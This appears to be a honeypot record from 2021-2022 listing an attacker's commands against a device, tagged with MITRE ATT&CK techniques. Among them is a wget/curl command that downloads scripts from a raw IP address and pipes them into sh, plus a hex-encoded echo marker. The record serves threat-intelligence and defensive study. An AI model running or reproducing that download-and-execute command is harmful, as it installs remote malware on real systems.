Honeypot attack session (period 2021_2022), commands issued:
sh
enable
shell
debug shell
cmd
wget http://2.58.149.116/w -O- | sh; curl http://2.58.149.116/c -O- | sh
echo -e '\x67\x61\x79\x66\x67\x74'

MITRE ATT&CK techniques observed:
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter